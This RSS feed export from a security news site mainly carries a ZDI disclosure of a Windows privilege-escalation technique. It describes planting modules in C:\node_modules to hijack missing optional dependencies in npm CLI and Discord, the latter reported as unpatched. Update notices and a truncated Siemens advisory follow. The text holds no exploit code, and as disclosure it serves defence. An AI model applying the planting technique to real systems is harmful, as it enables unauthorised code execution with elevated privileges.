<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=cmo+instalar+nodejs%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Fri, 31 Jul 2026 02:54:16 +0200</lastBuildDate>
<pubDate>Fri, 31 Jul 2026 02:54:16 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=cmo+instalar+nodejs%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=cmo+instalar+nodejs%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (389-ds-base, c-ares, dovecot, freerdp, glib2, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, kernel, kernel-rt, nodejs:22, perl-XML-LibXML, webkit2gtk3, and yggdrasil), Debian (kernel, nss, roundcube, rtpengine, and xz-utils), Fedora ...]]></description>
<link>https://tsecurity.de/de/3686772/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686772/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 22 Jul 2026 17:09:17 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (389-ds-base, c-ares, dovecot, freerdp, glib2, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, kernel, kernel-rt, nodejs:22, perl-XML-LibXML, webkit2gtk3, and yggdrasil), <b>Debian</b> (kernel, nss, roundcube, rtpengine, and xz-utils), <b>Fedora</b> (btrbk, kernel, mupdf, nuclei, perl-Crypt-OpenSSL-X509, rust-fern, rust-ifcfg-devname, rust-routinator, rust-rpki, and rust-syslog), <b>Mageia</b> (tig), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, acl, dovecot, glib2, httpd, libtiff, pacemaker, perl-IO-Compress, plexus-utils, python3, and webkit2gtk3), <b>Slackware</b> (libssh and mozilla-firefox), <b>SUSE</b> (acl, avahi, aws-nitro-enclaves-cli, beets, chromium, firefox, go1.25-openssl, ImageMagick, iscsiuio, kernel, kubevirt1.8-container-disk, libgit2-1_9, libkrun, libsoup-3_0-0, nghttp2, opam, php7, python-aiohttp, python-tornado6, and vim), and <b>Ubuntu</b> (accountsservice, CUPS, imagemagick, jbig2dec, openssh, and snapd).]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens CADRA]]></title>
<description><![CDATA[View CSAF
Summary
CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not y...]]></description>
<link>https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens CADRA are affected:</p>
<ul>
<li>CADRA vers:intdot/&lt;2511, vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
